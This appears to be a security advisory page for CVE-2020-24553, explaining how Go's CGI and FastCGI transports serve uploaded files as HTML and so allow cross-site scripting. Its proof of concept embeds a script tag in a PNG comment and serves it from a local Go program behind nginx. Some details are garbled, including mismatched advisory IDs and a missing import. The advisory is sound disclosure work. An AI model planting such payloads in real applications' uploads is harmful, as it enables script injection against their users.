

News

04/11/2022

The German TV show **WDR Lokalzeit Aachen** reported about our work and our new office.

24/10/2022

New **advisory** released: **Missing Authentication in ZKTeco ZEM/ZMM Web Interface**.

13/07/2022

Our new **blog post** introduces and covers common use cases of **pretender**, a new name resolution sidekick for relaying attacks.

13/06/2022

RedTeam Pentesting has a new member: Roman Karwacik reinforces the **team** as a new penetration tester.

12/01/2022

New **advisory** released: **Credential Disclosure in Web Interface of Crestron Device**.

20/12/2021

Our new **blog post** describes our approach to discover a backdoor in the Auerswald COMpact 5500R PEX.

06/12/2021

Several **advisories** for Auerswald devices released: **Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass**, **Auerswald COMpact Privilege Escalation**, **Auerswald COMpact Arbitrary File Disclosure**, **Auerswald COMpact Multiple Backdoors**.

14/10/2021

On 21 October 2021 Jens Liebchen will give the German language talk "IT-Sicherheit: Unterwegs zwischen zwei Welten" at 14:30 o'clock at the **Technologiezentrum Aachen** (powered by **Techniker Krankenkasse**). Register at konferenz@tza-aachen.de in order to participate. The 3G rule applies.

13/10/2021

New **advisory** released: **Cross-Site Scripting in myfactory.FMS**.

10/08/2021

New **advisory** released: **XML External Entity Expansion in MobileTogether Server**.

[rt-sa-2020-005]

[Back to Overview](#)

Inconsistent Behavior of Go's CGI and

[rt-sa-2020-003]

FastCGI Transport May Lead to Cross-Site Scripting

The CGI and FastCGI implementations in the Go standard library behave differently from the HTTP server implementation when serving content. In contrast to the documented behavior, they may return non-HTML data as HTML. This may lead to cross-site scripting vulnerabilities even if uploaded data has been validated during upload.

Details

=====

Product: Go
Affected Versions: <= 1.14.7, 1.15
Fixed Versions: 1.14.8, 1.15.1
Vulnerability Type: Cross-Site Scripting
Security Risk: medium
Vendor URL: <https://golang.org>
Vendor Status: fixed version released
Advisory URL: <https://www.redteam-pentesting.de/advisories/rt-sa-2020-004>
Advisory Status: published
CVE: CVE-2020-24553
CVE URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24553>

Introduction

=====

The Go standard library defines the `ResponseWriter[1]` interface in the `net/http` package for HTTP services. It allows serving content via arbitrary transports so the handler functions can be written without a specific transport in mind. The standard library contains an HTTP server implementation as well as CGI and FastCGI protocol implementations. The library also contains a mock implementation called `ResponseRecorder[2]` in the `net/http/httptest` package for use in testing. There may even be more implementations outside the standard library.

More Details

=====

In Go, the documentation of the interface describes the behavior all implementations should conform to. For the `Write()` method of the interface, the following paragraph describes what happens if `Write()` is called when the HTTP header `Content-Type` is not set (via `WriteHeader()`):

```
-----  
// If WriteHeader has not yet been called, Write calls  
// WriteHeader(http.StatusOK) before writing the data. If the Header  
// does not contain a Content-Type line, Write adds a Content-Type set  
// to the result of passing the initial 512 bytes of written data to  
// DetectContentType. Additionally, if the total size of all written  
// data is under a few KB and there are no Flush calls, the  
// Content-Length header is added automatically.  
-----
```

If no `Content-Type` header is specified explicitly, all implementations of the `ResponseWriter` interface should therefore use the first 512 bytes of the data passed to `Write()` to automatically detect and serve a sensible `Content-Type` according to the algorithm described in [3].

The HTTP server implementation as well as the `ResponseRecorder` mock implementation both exhibit the documented behavior. The CGI and FastCGI transports however were found to always set the `Content-Type` to `"text/html; charset=utf-8"`.

For the CGI implementation, this can be found in `net/http/cgi/child.go[4]`:

```
-----  
func (r *response) WriteHeader(code int) {  
    [...]  
    // Set a default Content-Type  
    if _, hasType := r.header["Content-Type"]; !hasType {
```

```

    r.header.Add("Content-Type", "text/html; charset=utf-8")
}
[...]
}

```

The code looks similar for the FastCGI implementation in `net/http/cgi/chld.go`[5]:

```

func (r *response) WriteHeader(code int) {
    if r.wroteHeader {
        return
    }
    r.wroteHeader = true
    if code == http.StatusNotModified {
        // Must not have body.
        r.header.Del("Content-Type")
        r.header.Del("Content-Length")
        r.header.Del("Transfer-Encoding")
    } else if r.header.Get("Content-Type") == "" {
        r.header.Set("Content-Type", "text/html; charset=utf-8")
    }
    [...]
}

```

This difference in behavior leads to applications which depend on the behavior documented for implementations of the `ResponseWriter` interface becoming vulnerable to cross-site scripting when served via CGI or FastCGI. RedTeam Pentesting has discovered such vulnerable applications in the wild.

For example, consider a web application which allows uploading PDF files and pictures. During upload, the application checks (via the `DetectContentType()` mentioned in the documentation) that the uploaded content is either "application/pdf" or "image/png" and rejects all other data. When an uploaded file is requested again, the application does not set a Content-Type header and depends on the auto detection. If the HTTP server from the standard library is used, the `WriteHeader()` method detects the content and sets the Content-Type header to either "application/pdf" or "image/png".

Attackers can generate a PNG file which includes a `<script>` tag with JavaScript in the comment field:

```

$ convert \
  -comment '<script>alert("RedTeam Pentesting")</script>' \
  -size 1x1 xc:'#000000' exploit.png

```

The check during the upload process permits the file (because it is a valid PNG file). When the file is requested again, the Content-Type header is set to "image/png", the image is shown in the users' browsers and the embedded JavaScript code is not executed.

If the web application is run via CGI or FastCGI, it is now vulnerable to cross-site scripting. The upload process is exactly the same, but when the file is requested again, the Content-Type is set to "text/html". When users now access the file directly, it is interpreted as HTML and the embedded JavaScript code is executed.

Proof of Concept
=====

In the following, a small sample application is built which depends on the behavior documented for the `ResponseWriter` interface to return image data to HTTP clients. The source code is printed below:

```

package main

import (
    "encoding/base64"
    "flag"
    "log"
    "net"
    "net/http"
    "net/http/cgi"
)

// generated with:
// convert \
//   -comment '<script>alert("RedTeam Pentesting")</script>' \
//   -size 1x1 xc:'#000000' png:- | base64
const imageBase64 = `
iVBORw0KGgoAAAANSUHEUgAAAAEAAAABAQAAAA3bvkKAAAABGdB8TUEAALGPC/xhBQAAACBjSF3N
AAB6JgAgIAQAPoAAACAG6AAAdTAAAOpgAAAGmAAAF3Ccu1E8AAAAAmJLR0QAAd2KE6QAAAAHdE1N
RQfkKACaQBDs15w8cAAAACK1EQVQII2NgAAAAgAB4iG8MwAAADR0RVh0Y29tbWVudAA8c2NyaXB0
PmFsZXJ0K3J5ZWRUZW50IFB1bnRlc3Rpbmc1KTwwc2NyaXB0P1rICKkAAAAAdEVYdGRhdGU6Y3Jl
YXRlADlwMjAtMDgtMDdUMTQ6MDQ6NTkrMDI6MDDBb6CukAAAAAJXRFWHRkYXR1Om1vZGlmeQAyMDIw
LTA4LTA3VDE0OjA0OjU5KzAyOjAwqrWTGAAAAABJRUSErk3ggg==
`

func main() {
    httpServer := flag.Bool("http", false, "run HTTP server instead of FastCGI")
    flag.Parse()

    image, err := base64.StdEncoding.DecodeString(imageBase64)
    if err != nil {
        panic(err)
    }

    ln, err := net.Listen("tcp", "127.0.0.1:8001")
    if err != nil {
        panic(err)
    }

    handler := http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
        w.Write(image)
    })

    if *httpServer {

```

```

    // returns "Content-Type: text/plain; charset=utf-8", safe
    log.Fatal(http.Serve(ln, handler))
} else {
    // returns "Content-Type: text/html", causes HTML/JavaScript to be interpreted
    log.Fatal(fcgi.Serve(ln, handler))
}
}
}

```

This program is started as follows:

```

$ go mod init poc
$ go run .

```

It listens for FastCGI requests on the TCP port 8001.

It can be served via FastCGI for example using nginx and the following configuration:

```

-----
daemon off;
pid /dev/null;
error_log /dev/stdout info;

events {}

http {
    access_log /dev/stdout;

    server {
        listen 127.0.0.1:8000;

        location / {
            fastcgi_pass localhost:8001;
            include /etc/nginx/fastcgi_params;
        }
    }
}

```

The HTTP server can be run as follows:

```

$ nginx -c $PWD/nginx.conf

```

When the URL `http://localhost:8000` is opened in a browser, the JavaScript code is executed and a message box with the text "RedTeam Pentesting" is opened. This can also be verified using the command-line HTTP client `curl` as follows:

```

-----
$ curl -i -o - http://localhost:8000
HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=utf-8
[...]

PNG[...]Extcomment<script>alert("RedTeam Pentesting")</script>[...]

```

The same happens when the CGI transport is used.

When the sample program is run with the flag "-http", the HTTP server from the standard library is run instead on TCP port 8001:

```

-----
$ go run . -http

```

Now the correct Content-Type header is returned:

```

-----
$ curl -i -o - http://localhost:8001
HTTP/1.1 200 OK
Content-Type: image/png
[...]

PNG[...]

```

Workaround
=====

Applications should explicitly set a Content-Type via the `Header().Set()` method of the `ResponseWriter` interface. The relevant code from the sample application mentioned above then looks like this:

```

-----
handler := http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
    w.Header().Set("Content-Type", "image/png")
    w.Write(image)
})

```

Fix
===

The CGI and FastCGI implementations of the `ResponseWriter` interface should behave as documented and infer the Content-Type from the response data. This was implemented in Go versions 1.14.8 and 1.15.1 (the patch can be found here [7]).

Security Risk

=====

The risk of this vulnerability heavily depends on the concrete application at hand. If it depends on the documented behavior and is accessed via CGI or FastCGI and provides attackers a means to request data they can influence, this may lead to a cross-site scripting vulnerability.

When other users of the same application request the attackers' data, the embedded JavaScript code is executed and the attackers can interact with the web application in the user's name, display arbitrary content within the user's browser, and observe the user's interaction with the web application.

Considering the severe consequences and the requirements for exploitation (serving via CGI/FastCGI instead of HTTP), this vulnerability is rated as a medium risk.

Timeline

=====

2020-08-07 Vulnerability identified
2020-08-10 Vendor notified
2020-08-10 Vendor acknowledges receipt of report
2020-08-14 Vendor confirms security issues
2020-08-20 Vendor announces plans for a minor release of Go
2020-09-01 Vendor releases new version of Go, issue[6] is #40928, patch[7]
2020-09-02 Advisory released

References

=====

- [1] <https://pkg.go.dev/net/http/?tab=doc#ResponseWriter>
- [2] <https://pkg.go.dev/net/http/httptest?tab=doc#ResponseRecorder>
- [3] <https://mimesniff.spec.whatwg.org/>
- [4] <https://github.com/golang/go/blob/ba9e10889976025ee1d027db6b1cad383ec56de8/src/net/http/cgi/child.go#L196-L199>
- [5] <https://github.com/golang/go/blob/ba9e10889976025ee1d027db6b1cad383ec56de8/src/net/http/cgi/child.go#L112-L114>
- [6] <https://github.com/golang/go/issues/40928>
- [7] <https://go-review.googlesource.com/c/go/+252179/>

RedTeam Pentesting GmbH

=====

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at:
<https://www.redteam-pentesting.de/>

Working at RedTeam Pentesting

=====

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit:
<https://www.redteam-pentesting.de/jobs/>